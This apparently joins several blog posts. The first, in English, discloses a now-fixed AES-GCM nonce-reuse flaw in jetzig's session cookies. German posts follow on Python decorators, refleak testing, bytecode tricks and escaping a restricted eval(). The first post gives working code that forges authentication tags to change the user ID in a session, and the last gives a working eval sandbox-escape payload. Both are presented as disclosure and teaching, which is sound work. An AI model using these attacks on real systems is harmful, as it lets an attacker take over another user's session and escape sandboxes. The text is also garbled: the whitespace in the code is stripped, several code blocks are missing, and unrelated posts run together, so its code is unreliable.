In this blog post, I will demonstrate how a mistake in
jetzig’s session implementation could be used
to break confidentiality and integrity of session data. A fix has been
applied, so it is no longer possible to exploit the attack shown in the
following. All code samples in this post will be Python, due to Python’s
excellent math support through Sage.
This post is also available as a Sage notebook if
you want to follow allong interactively.
tl;dr: A nonce must never be used twice.
About jetzig’s sessions
Jetzig is a web framework for Zig. For
convenience, it comes with a session implementation that is based on
encrypted cookies: the server side encrypts all data with a key unknown
to the client and stores the encrypted data in a cookie. When the client
sends the cookie data back to the server, the server knows the decrypted
data originated from the server at some point.
The implementation of the encrypted cookie is (conceptually) as follows:
importjsonfromcryptography.hazmat.primitives.ciphers.aeadimportAESGCM# In jetzig's implementation, this is read from the `JETZIG_SECRET` environment variable# It's only hardcoded here for demonstration purposesSECRET=bytes(range(0,44))defencrypt(data):key=SECRET[:256//8]nonce=SECRET[len(key):]json_data=json.dumps(data).encode("utf-8")returnAESGCM(key).encrypt(nonce,json_data,None)
The result of encrypt would then be set as cookie data.
If you have a working knowledge of cryptography, you might already have
spotted the issue here. If not, I’ll explain it later on.
Interesting. The values start the same. Let’s XOR them. Same bytes will
then be \x00 afterwards. Let’s start with a little helper, because
XOR will be used quite a lot:
defxor(a,b):# In Sage, ^^ is used for XOR instead of ^ like in regular Pythonreturnbytes(byte_a^^byte_bforbyte_a,byte_binzip(a,b))
So the values start the same, then some differences, short same again,
then different again. What happens if we XOR 1234 and 9876, our
two user IDs?
xor(b"1234",b"9876")
b'\x08\n\x04\x02'
Oh look. It’s exactly one of the differences between the two session
cookie values. In fact, if you know the plain value of one session
cookie, you can use it to decrypt the other session cookie:
# Let's assume we know the plain value for the 1234 session, so we XOR it against the encrypted valuecipher_xor=xor(session_1234,b'{"user_id": "1234"}')# And then use the resulting XOR against the 9876 sessionplain_9876=xor(session_9876,cipher_xor)# And we get back the plain value for the other sessionplain_9876
b'{"user_id": "9876"}'
Not super great. Also not super bad. First, you probably don’t know the
plain session content (though you can guess, at least parts of it,
e.g. JSON delimiters). Second, once you know the cookie value for some
other user, you can use it to access the application on behalf of that
user (this is known as session
hijacking). No XOR
tricks necessary at all. Luckily for other users, you don’t know their
cookie values, only your own.
Modifying session values
So you don’t know other’s cookie value, but you know your own. And you
know where exactly the user ID is stored in the session, for example
because you signed up twice and got two different cookie values and
XORed them. Couldn’t you use this to modify the session and put in a
different ID? To test this, let me add the function to decrypt session
cookie values again:
Looks good. Next, let’s construct a new session cookie value. From
earlier, you know that XORing the encrypted value with the plain value
and then using the result to XOR another encrypted value gives you the
other plain value. So, using the XOR result with some plain value should
give you an encrypted value:
# User ID's start indexstart_idx=len(b'{"user_id": "')cipher_xor=xor(session_1234[start_idx:start_idx+len(b"1234")],b"1234")new_value=(session_1234[:start_idx]+xor(b"1337",cipher_xor)+session_1234[start_idx+len(b"1234"):])new_value
try:decrypt(new_value)exceptExceptionase:print("No success :(")print(f"Exception is {e!r}")
No success :(
Exception is InvalidTag()
Oh snap. Why does it throw an InvalidTag exception? It is because
jetzig uses AES-GCM to encrypt session cookies. AES-GCM is an
authenticated encryption, which means it’s designed to prevent exactly
what we tried to achieve: it detects that an encrypted value was
modified. To achieve this, an additional tag is appended to the
encrypted value. The tag is a hash of (among other things) the encrypted
value. This is the second difference we saw when we XORed
session_1234 with session_9876 above.
Unfortunately, when nonces are re-used in AES-GCM (and that is exactly
what jetzig did and perhaps you already spotted it right at the
beginning), it’s possible to recover the authentication key used to
calculate the authentication tag. This is possible with The forbidden
attack, described by Antoine Joux in Authentication Failures in NIST
version of
GCM.
A more verbose description how the attack works can be found in
Nonce-Disrespecting Adversaries: Practical Forgery Attacks on GCM in
TLS
by Hanno Böck and Aaron Zauner and Sean Devlin and Juraj Somorovsky and
Philipp Jovanovic.
Roughly sketched out, the attack works because AES-GCM uses a hash
function called GHASH for the authenticaton tag. GHASH is defined as
a computation over the Galois field GF(2128) and this field
is defined by the polynomial x128 + x7 + x2 + x + 1.
Due to the double use of the nonce, finding the authentication key can
be expressed as finding the roots of this polynomial. Again, see Böck et
al’s paper for more details.
The following code uses the idea from above (modify the encrypted
value), but additionally also calculates the correct authentication tag
for the modified value:
# The following code was initially taken from https://github.com/jvdsn/crypto-attacks/blob/master/attacks/gcm/forbidden_attack.py# Copyright (c) 2020 Joachim Vandersmissen and released under the MIT licensefromsage.allimportGFx=GF(2)["x"].gen()gf2e=GF(2**128,name="y",modulus=x**128+x**7+x**2+x+1)def_to_gf2e(n):"""
Converts an integer to a gf2e element, little endian.
"""returngf2e([(n>>i)&1foriinrange(127,-1,-1)])def_from_gf2e(p):"""
Converts a gf2e element to an integer, little endian.
"""n=p.to_integer()ans=0foriinrange(128):ans<<=1ans|=((n>>i)&1)returnansdef_ghash(h,a,c):"""
Calculates the GHASH polynomial.
"""la=len(a)lc=len(c)p=gf2e(0)foriinrange(la//16):p+=_to_gf2e(int.from_bytes(a[16*i:16*(i+1)],byteorder="big"))p*=hifla%16!=0:p+=_to_gf2e(int.from_bytes(a[-(la%16):]+bytes(16-la%16),byteorder="big"))p*=hforiinrange(lc//16):p+=_to_gf2e(int.from_bytes(c[16*i:16*(i+1)],byteorder="big"))p*=hiflc%16!=0:p+=_to_gf2e(int.from_bytes(c[-(lc%16):]+bytes(16-lc%16),byteorder="big"))p*=hp+=_to_gf2e(((8*la)<<64)|(8*lc))p*=hreturnpdefrecover_possible_auth_keys(a1,c1,t1,a2,c2,t2):"""
Recovers possible authentication keys from two messages encrypted with the same authentication key.
More information: Joux A., "Authentication Failures in NIST version of GCM"
:param a1: the associated data of the first message (bytes)
:param c1: the ciphertext of the first message (bytes)
:param t1: the authentication tag of the first message (bytes)
:param a2: the associated data of the second message (bytes)
:param c2: the ciphertext of the second message (bytes)
:param t2: the authentication tag of the second message (bytes)
:return: a generator generating possible authentication keys (gf2e element)
"""h=gf2e["h"].gen()p1=_ghash(h,a1,c1)+_to_gf2e(int.from_bytes(t1,byteorder="big"))p2=_ghash(h,a2,c2)+_to_gf2e(int.from_bytes(t2,byteorder="big"))forh,_in(p1+p2).roots():yieldhdefforge_tag(h,a,c,t,target_a,target_c):"""
Forges an authentication tag for a target message given a message with a known tag.
This method is best used with the authentication keys generated by the recover_possible_auth_keys method.
More information: Joux A., "Authentication Failures in NIST version of GCM"
:param h: the authentication key to use (gf2e element)
:param a: the associated data of the message with the known tag (bytes)
:param c: the ciphertext of the message with the known tag (bytes)
:param t: the known authentication tag (bytes)
:param target_a: the target associated data (bytes)
:param target_c: the target ciphertext (bytes)
:return: the forged authentication tag (bytes)
"""ghash=_from_gf2e(_ghash(h,a,c))target_ghash=_from_gf2e(_ghash(h,target_a,target_c))return(ghash^^int.from_bytes(t,byteorder="big")^^target_ghash).to_bytes(16,byteorder="big")# The last 16 bytes are the authentication tagcipher_1234=session_1234[:-16]tag_1234=session_1234[-16:]cipher_9876=session_9876[:-16]tag_9876=session_9876[-16:]# Construct a new encrypted value by replacing the encrypted user ID with a different encrypted ID# This is possible because the plain value for the user ID is known (it's typically displayed# somewhere in an application)user_id_xor=xor(cipher_1234[-len(b"1234")-2:-2],b"1234")attack_cipher=cipher_1234[:-len(b"1234")-2]+xor(user_id_xor,b"1337")+cipher_1234[-2:]# Recover the auth key and calculate a tag for our encrypted valuepossible_key=next(recover_possible_auth_keys(b"",cipher_1234,tag_1234,b"",cipher_9876,tag_9876))tag=forge_tag(possible_key,b"",cipher_1234,tag_1234,b"",attack_cipher)attack_value=attack_cipher+tagattack_value
Dieser Artikel ist schon ein paar Jahre alt und war eigentlich nur für
den Gebrauch bei meinem damaligen Arbeitgeber gedacht. Damit sich aber
endlich mal etwas in diesem Blog tut, habe ich mich entschlossen, ihn
dennoch zu veröffentlichen.
Note
Die Code-Beispiele sind in Python 2-Syntax gehalten. Das
Übersetzen nach Python 3 wird dem Leser als Übung
überlassen.
Was sind Dekoratoren?
Wie der Namen bereits vermuten lässt, dekorieren Dekoratoren
etwas. Bei Python sind es Funktionen bzw. Methoden und seit Version
2.6/3.0 auch Klassen. Ein Beispiel für Dekoratoren:
@decoratordefspam():print"Ich bin spam."
Note
Ein Hinweis für Java-Entwickler: Die Syntax sieht zwar
ähnlich aus wie Annotations in Java, hat aber ansonsten
nichts mit Annotations in Java zu tun.
Was passiert jetzt, wenn man den obigen Code ausführt?
>>> @decorator... defspam():... print"Ich bin spam."...Traceback (most recent call last):
File "<stdin>", line 1, in <module>NameError: name 'decorator' is not defined
Der NameError ist jetzt natürlich wenig überraschend, schließlich
wurde der Dekorator decorator noch nicht definiert. Im Folgenden
werden wir das nachholen:
defdecorator(func):print"Ich bin ein Dekorator und dekoriere",func.__name__returnfunc
Was passiert jetzt, wenn man den obigen Code ausführt?
>>>defdecorator(func):...print"Ich bin ein Dekorator und dekoriere",func.__name__...returnfunc...>>>@decorator...defspam():...print"Ich bin spam."...IchbineinDekoratorunddekorierespam>>>spam<functionspamat0x7f8d95b3c488>
Und was, wenn man die dekorierte Funktion ausführt?
>>>spam()Ichbinspam.
Wie einfach zu erkennen ist, hat unser simpler Beispiel-Dekorator
keine direkte Auswirkung auf die dekorierte Funktion.
Ich weiß jetzt noch immer nicht, was ein Dekorator ist
Ein Beispiel alleine erklärt natürlich nicht, was ein Dekorator
ist. Was ist also ein Dekorator? Ein Dekorator ist nichts anderes als
ein Callable, das implizit als Argument die zu dekorierende Funktion
bzw. Methode bzw. Klasse übergeben bekommt. Der Rückgabewert des
Dekorators wird dann an den Namen der Funktion bzw. Methode
bzw. Klasse gebunden. Anders ausgedrückt:
@decoratordefspam():pass
ist nichts anderes als syntaktischer Zucker für
defspam():passspam=decorator(spam)
Das ist auch der Grund, warum unser Beispieldekorator decorator
die Funktion explizit wieder zurück gibt.
Das, was nach dem @ folgt, muss jedoch nicht zwingend ein Name
sein. Vielmehr kann es ein beliebiger Ausdruck sein. Der Ausdruck
wird evaluiert und das Ergebnis des Ausdrucks ist dann der Dekorator.
Um das zu verdeutlichen, folgt jetzt ein Beispiel für eine
Dekoratoren-Factory:
defdecorator_for(name):"""Ich bin eine Factory und ich gebe einen Dekorator zurück."""print"Erzeuge einen Dekorator für",name# Den eigentlichen Dekorator (aus dem vorigen Beispiel) zurück gebenreturndecorator@decorator_for("Csaba")defspam():print"Ich bin spam."
Und wieder die Frage, was passiert, wenn man den Code ausführt?
>>> defdecorator_for(name):... """Ich bin eine Factory und ich gebe einen Dekorator zurück."""... print"Erzeuge einen Dekorator für",name... # Den eigentlichen Dekorator (aus dem vorigen Beispiel) zurück geben... returndecorator...>>> @decorator_for("Csaba")... defspam():... print"Ich bin spam."...Erzeuge einen Dekorator für Csaba
Ich bin ein Dekorator und dekoriere spam
Und was passiert, wenn man die dekorierte Funktion ausführt?
>>> spam()Ich bin spam.
Wie zu erwarten, noch immer nichts spektakuläres.
Wann wird ein Dekorator ausgeführt?
Der aufmerksame Leser kann sich diese Frage bereits selbst
beantworten: Der Dekorator wird nicht etwa bei jedem Aufruf der
dekorierten Funktion bzw. Methode aufgerufen, sondern genau ein
einziges Mal, nämlich dann, wenn die Funktion bzw. Methode deklariert
wird.
Ich will aber, dass bei jedem Funktionsaufruf etwas passiert
Auch das kann sich der aufmerksame Leser bereits selber herleiten: Wie
bereits erwähnt, wird der Rückgabewert des Dekorators an den Namen der
Funktion gebunden, die dekoriert wird. Als Beispiel also jetzt ein
Dekorator, der nicht explizit die dekorierte Funktion wieder
zurückgibt.
defuseless_decorator(func):returnNone
>>> @useless_decorator... defspam():... print"Ich bin spam."...>>> spam()Traceback (most recent call last):
File "<stdin>", line 1, in <module>TypeError: 'NoneType' object is not callable>>> spam>>>
Da der Dekorator None zurückgibt, wird auch None an den Namen
der Funktion, also spam, gebunden und die ursprüngliche Funktion
ging verloren.
Man kann jetzt natürlich nicht nur die Original-Funktion oder None
zurück geben. Vielmehr kann man auch einen Wrapper zurück geben, der
dann die ursprüngliche Funktion aufruft. Damit hat man dann das
erreicht, was man wollte: Bei Jedem Funktionsaufruf soll etwas
passieren.
defverbose_caller(func):print"Erzeuge einen Wrapper für die Funktion",func.__name__defwrapper():print"Rufe die Funktion",func.__name__,"auf"func()returnwrapper
>>> @verbose_caller... defspam():... print"Ich bin spam"...Erzeuge einen Wrapper für die Funktion spam
>>> spam()Rufe die Funktion spam auf
Ich bin spam
>>> spam<function wrapper at 0x7f8d95b3c758>
So gesehen ist der Dekorator in diesem Fall nichts anderes als eine
Wrapper-Factory.
Da das immer noch ziemlich langweilig ist, wollen wir uns jetzt einen
personalisierten Wrapper erzeugen. Dazu bauen wir eine
Wrapper-Factory-Factory:
defverbose_caller_for(name):print"Erzeuge eine Wrapper-Factory für",namedefverbose_caller(func):print"Erzeuge einen Wrapper für die Funktion",func.__name__defwrapper():print"Rufe die Funktion",func.__name__,"für",name,"auf"func()returnwrapperreturnverbose_caller
>>> @verbose_caller_for("Csaba")... defspam():... print"Ich bin spam"...Erzeuge eine Wrapper-Factory für Csaba
Erzeuge einen Wrapper für die Funktion spam
>>> spam()Rufe die Funktion spam für Csaba auf
Ich bin spam
Da das ganze langsam doch recht unübersichtlich wird, überlegen wir
uns als gute Entwickler, wie man das ganze verschönern könnte.
Klassenbasierte Dekoratoren
Dekoratoren sind einfach Callables, die das zu dekorierende Objekt
entgegen nehmen. Instanzen von Klassen können jedoch ein Callable
implementieren, über die spezielle Methode __call__. Warum also
nicht einen Dekorator über eine Klasse implementieren? Als
passionierte Java-Entwickler wissen wir, dass Klassen alles
übersichtlicher machen.
classPersonalizedVerboseCaller(object):def__init__(self,name):self.name=namedef__call__(self,func):returnself.decorate(func)defdecorate(self,func):"""Wrapper factory."""print"Erzeuge einen Wrapper für die Funktion",func.__name__defwrapper():print"Rufe die Funktion",func.__name__,"für",self.name,"auf"func()returnwrapper
>>> @PersonalizedVerboseCaller("Csaba")... defspam():... print"Ich bin spam"...Erzeuge einen Wrapper für die Funktion spam
>>> spam()Rufe die Funktion spam für Csaba auf
Ich bin spam
Wenn man händisch CPython-Erweiterungen mit Hilfe der C-API baut (und
nicht etwa Cython oder Ähnliches benutzt), läuft man leider sehr
leicht Gefahr, dass man versehentlich Reference Leaks einbaut.
Um das Auffinden von Refleaks zu erleichtern, zählt CPython bei einem
Debug-Build die Summe aller Referenzen:
Python 3.4.0a0 (default:9214f8440c44, Nov 11 2012, 00:15:25)[GCC 4.7.1] on linuxType "help", "copyright", "credits" or "license" for more information.>>>[60488 refs]>>> n=42[60490 refs]
Die Summe der Referenzen ist die Zahl zwischen den []. In diesem
Beispiel hat sich die Gesamtanzahl der Referenzen um zwei erhöht, weil
die Zahl 42 an zwei Namen gebunden wurde: einmal an n und einmal
an _, weil Python im interaktiven Modus immer unter _ eine
Referenz auf den letzten Wert hält.
Die Gesamtanzahl der Referenzen kann man in Debug-Builds auch
programmatisch über die Funktion sys.gettotalrefcount erhalten. Also
liegt es nahe, dass man versucht, Refleaks automatisch zu finden,
beispielsweise, indem man die Gesamtanzahl der Referenzen vor und nach
einem Testlauf betrachtet.
Die Idee ist hierbei recht einfach: Wird die Test-Suite mit einem
Debug-Python ausgeführt, wird jeder Test fünf mal ausgeführt. Bei den
letzten zwei Durchläufen wird dann die Gesamtzahl der Referenzen vor
und nach dem Test verglichen. Die drei Durchläufe vorher werden nicht
ausgewertet, damit sich die Zahl der Referenzen erst auf einen Wert
einpendeln kann (beispielsweise, wenn Caches im Test eine Rolle
spielen etc.).
Im Folgenden eine simple Umsetzung der Idee für das klassische
unittest-Modul:
Anzumerken ist hierbei, dass bei umfangreichen Testsuites _cleanup
noch erweitert werden muss. Beispielsweise muss man die ABC-Registry
aufräumen, Caches (re, struct, urllib, linecache) und warnings müssen
aufgeräumt werden, etc.
Jetzt muss man nur noch unittest beibringen, dass es die obige
TestSuite benutzen soll. Benutzt man keinen besonderen Test-Runner,
kann man das beispielsweise einfach wie folgt tun:
Führt man die Tests jetzt aus, führt das zu folgender Ausgabe:
.....<__main__.SpamTest testMethod=test_observable> leaks: [40, 40]
----------------------------------------------------------------------
Ran 5 tests in 0.007s
Jetzt weiß man zumindest, dass der Test test_observable leckt. Was
genau leckt, muss man aber immer noch selbst herausfinden. Was nicht
unbedingt immer leicht und offensichtlich ist.
In Python 3 gibt es ein neues Statement nonlocal, das es erlaubt,
bei verschachtelten Funktionen in der inneren Funktion einen neuen
Wert an einen lokalen Namen der äußeren Funktion zu binden. In Python
2 war es nur möglich, sich auf einen lokalen Namen der äußeren
Funktion zu beziehen.
Note
Der größte Teil dieses Blogeintrags dürften
Implementierungsdetails von CPython sein und müssen keinesfall für
andere Python-Implementierungen gelten.
Dazu schauen wir uns als erstes eine Funktion näher an:
deff():local_name=42
(In Python implementierte) Funktionien haben in CPython ein
sogenanntes Code-Objekt, das als func_code-Attribut (in Python 3
als __code__-Attribute) an die Funktion gebunden ist. In ihm sind
der Bytecode, alle verwendeten lokalen Namen und Konstanten und andere
Informationen gespeichert. All das ist direkt in Python selbst
benutzbar und sollte durchaus einmal im interaktiven Interpreter
ausprobiert werden. Der generierte Bytecode für diese Funktion sieht
wie folgt aus (die Ausgabe wurde mit dem dis-Modul von Python
gemacht):
Dabei ist die 2 in der ersten Spalte die Zeilennummer, die Spalte
rechts davon ist der Offset des Opcodes im Bytecode, gefolgt vom
Opcode selbst und (falls vorhanden) einem Argument. In Klammern steht
dann jeweils, was das Argument bedeutet.
Im konkreten Fall für die Funktion f wird also zunächst die
Konstante 1 geladen, in unserem Fall ist das 42. 42 ist hierbei im
co_consts-Attribut des Code-Objekts gespeichert. Diese 42 wird dann
auf einem internen Stack der CPython-VM abgelegt. Der nächste Opcode,
STORE_FAST, speichert den obersten Wert vom Stack in die lokale
Variable local_name. Lokale Variablen werden dabei einfach als Array
im aktuellen Frame umgesetzt (wobei dieses Array nicht von Python aus
erreichbar ist). Der Opcode speichert also einfach den Wert als ersten
Eintrag im Array. Falls jemand auf den lokalen Namensraum als Dict
zugreifen wird (etwa über locals() oder das f_locals-Attribut
eines Frames), wird das Dict des lokalen Namenraumes dann einfach mit
den Werten aus dem Array aktualisiert. Die benötigten Informationen,
nämlich die Namen der lokalen Variablen, finden sich im
co_varnames-Attribut des Code-Objekts.
Als nächstes wird dann die Konstante None geladen und zurückgegeben
(da eine Funktion in Python ja implizit None zurückgibt, wenn kein
anderer Rückgabewert angebeben wurde).
Als nächstes betrachten wir eine Funktion, die eine geschachtelte
Funktion zurückgibt, die einen Namen der äußeren Funktion benutzt:
Was hat sich geändert? Zunächst einmal fällt auf, dass in outer()
nicht mehr STORE_FAST zum Speichern der lokalen Variable benutzt
wird, sondern STORE_DEREF. Das liegt daran, dass outer_name von
der inneren Funktion benutzt wird. Anstatt in einem Array wird der
Wert jetzt in einem sogenannten Cell-Objekt gespeicher (wobei diese
Cell-Objekte wiederum auch in einem Array im Frame gespeichert
werden). outer_name ist auch nicht mehr in co_varnames
aufgelistet, sondern in co_cellvars. Als nächstes wird dieses
Cell-Objekt dann auf den Stack geladen (mit LOAD_CLOSURE) und in ein
Tupel gepackt (BUILD_TUPLE). Dieses Tupel bildet dann das
func_closure-Attribut der neuen Funktion inner(), die mit
MAKE_CLOSURE erstellt wird. Schließlich wird die neu erstellte
Funktion, die sich oben auf dem Stack befindet, mit STORE_FAST an
den lokalen Namen inner gebunden, wieder geladen und zurückgegeben.
In inner() wird einfach der Wert aus dem Cell-Objekt geladen, das
aus func_closure genommen wird und zurückgegeben. Genau genommen
werden die Cell-Objekte aus func_closure zum Array der Cell-Objekte
im Frame hinzugefügt, wenn das Frame erstellt wird.
Was passiert jetzt, wenn man in inner()outer_name einen Wert
zuweist?
Wie man sieht, wird outer_name in inner() automatisch zu einer
lokalen Variable, der Wert in outer() selbst wird nicht
geändert. Versucht man vorher außerdem auf outer_name zuzugreifen,
erhält man einen UnboundLocalError.
Für diesen Fall bietet Python 3 das neue nonlocal-Statement. Damit
kann man in inner() sagen, dass man den Wert in outer() ändern
mag:
Wie man sieht, wird zum Laden der Variable wieder LOAD_DEREF
benutzt. Was jetzt aber interessant ist: Zum Speichern wird
STORE_DEREF benutzt, also derselbe Opcode, der auch in outer()
benutzt wird. Was ja auch eigentlich logisch ist, denn in beiden
Fällen wird der Wert in ein Cell-Objekt geschrieben -- sogar in
dasselbe Cell-Objekt. Das bringt uns also zur folgenden Erkenntnis:
Das nonlocal-Statement wäre auch problemlos in Python 2.x möglich,
es fehlt nur die Syntax dafür (und natürlich auch die
Compiler-Unterstützung).
Also werden wir im Folgenden probieren, das nonlocal-Statement in
Python 2.x umzusetzen. Dazu müssen in der inneren Funktion alle
STORE_FAST-Opcodes für einen nonlocal-Namen durch STORE_DEREF
ersetzt werden und alle LOAD_FAST durch LOAD_DEREF. Außerdem
müssen die Namen dann zu co_freevars hinzugefügt werden. Man kann
ein Code-Objekt jedoch nicht einfach so verändern, sondern muss ein
neues erstellen. Da man Funktionen verändert, drängt sich ein
Dekorator geradezu auf:
Dabei zeigt sich ein weiteres Problem: Man muss an die Cell-Objekte
der äußeren Funktion bekommen. Dies tun wir, indem wir nach jedem
STORE_DEREF (also jedes mal, wenn ein Wert in ein Cell-Objekt
geschrieben wird), zwei weitere Opcodes einfügen: LOAD_CLOSURE und
STORE_FAST. Damit wird direkt nach dem Speichern das Cell-Objekt auf
den Stack geladen und in einem lokalen Namen gespeichert. Dazu führen
wir für jeden Namen, der ein Cell-Objekt hat, eine lokale Variable
_[<Name>] ein. Die [] deshalb, dass der Name nicht mit einem
anderen lokalen Namen zu Konflikten führt. Im Dekorator der inneren
Funktion kann man dann einfach über f_locals vom Frame des
Aufrufers auf die Cell-Objekte zugreifen, den man mit
sys_getframe(1) bekommt. Der Dekorator für die äußere Funktion
sieht also so aus:
Dabei ist anzumerken, dass dabei nicht alle Fälle abgedeckt sind und
außerdem davon ausgegangen wird, dass die äußere Funktion bereits
Cell-Objekte für die nonlocal-Namen benutzt (in diesem Fall wird dies
ausgelöst durch die getter()-Funktion).
Außerdem wird Code-Klasse von Aaron Gallagher benutzt, die bereits
aus einem vorigen Blogeintrag bekannt ist:
Dazu benutzt man einfach sys.displayhook. bpython und Python führen
beim Starten die Datei aus, auf die die Umgebungsvariable
PYTHONSTARTUP zeigt. Man kann sich also einfach eine Datei mit
folgendem Inhalt anlegen:
Häufig findet man Leute, die gerne mathematische Ausdrücke in Python
evaluieren wollen. Dabei kommen sie auf die Idee, dass man dazu ja
eval() benutzen könnte. Und damit das ganze auch noch sicher ist,
übergibt man eigene globals und locals, in den man optimalerweise
__builtins__ auf None setzt, da dann CPythons restricted mode
aktiviert wird, ein Überbleibsel aus vergangenen Zeiten. Im restricted
mode darf man auf besstimme Attribute von Funktionsobjekten und
Klassen nicht zugreifen, wie etwa __defaults__, womit ein trügerisches
Gefühl von Sicherheit gegeben wird.
Warum ist das nicht sicher? Zunächst einmal hat man irgendwann
gemerkt, dass man in CPython einfach keine sichere Sandbox hinbekommt,
weshalb man diesen Mode nicht mehr so wirklich pflegt. Seit Python 2.6
haben Generatoren ein gi_code-Attribut, wodurch man letztlich auch
eigene Code-Objekte und damit beliebige Funktionen erstellen kann. Das
führt uns also zu folgendem Code:
ns=dict(__builtins__=None)printeval("""(lambda d={}, t=(1).__class__.__class__: (t(lambda: 23)( t((_ for _ in []).gi_code)( 0, 1, 4, 67,"""# SETUP_EXCEPTr"""'y\x0c\x00'"""# LOAD_CONST 1r"""'d\x01\x00'"""# LOAD_CONST 0r"""'d\x02\x00'"""# BINARY_DIVIDEr"""'\x15'"""# POP_TOPr"""'\x01'"""# POP_BLOCKr"""'W'"""# JUMP FORWARD 9r"""'n\x09\x00'"""# POP_TOPr"""'\x01'"""# POP_TOPr"""'\x01'"""# Now the traceback object is on TOS# STORE_GLOBAL tbr"""'a\x00\x00'"""# JUMP_FORWARD 1r"""'n\x01\x00'"""# END_FINALLYr"""'X'"""# LOAD_CONST Noner"""'d\x00\x00'"""# RETURN_VALUE"""'S', (None, 1, 0), ('tb', ), (), 'evil.py', 'evil', 1, '' ), d, None, () )(),d['tb'].tb_frame.f_back.f_back.f_back.f_globals)[1])()""",ns,ns)
Führt man das aus, fällt einem auf, dass man damit an das richtige
__builtins__-Objekt kommt, und damit dann auch beispielsweise
__import__ aufrufen kann. Wie funktioniert das aber? Zunächst einmal
holt man sich das Builtin type mit (1).__class__.__class__ und
speichert es sich in t (indem man es als Default-Argument eines
lambdas benutzt und den eigentlichen Code im Körper des lambdas
schreibt und das lambda dann aufruft). Damit erstellt man dann ein
neues Code-Objekt, das man durch t((_ for _ in []).gi_code) bekommt
und damit dann ein neues Funktionsobjekt, das man mit t(lambda: 23)
bekommt. Dieses Funktionsobjekt wird dann ausgeführt.
Was macht das konstruierte Funktionsobjekt beim Ausführen? Dazu schaut
man sich die folgende Funktion an:
defthrows():try:1/0except:pass
Der Bytecode der Funktion sieht dabei wie folgt aus:
Man beachte die drei POP_TOPs im Mittelteil (der den except-Block
darstellt): CPython speichert bei einer Ausnahme den Typ der Ausnahme,
die Ausnahme selbst und ein Traceback-Objekt auf dem Stack (das, was
sys.exc_info() zurückliefert). Und bekanntlich kommt man mit
Traceback-Objekten an ein Frame-Objekt, und mit Frame-Objekten kann
man sich den Stack hochhangeln und kommt somit an die globals des
Aufrufers, in der man die richtigen __builtins__ findet. Ergo
konstruiert man sich einfach eine Funktion, die das Traceback-Objekt
eben in einem globalen Namen speichert anstatt es einfach vom Stack
verschwinden zu lassen.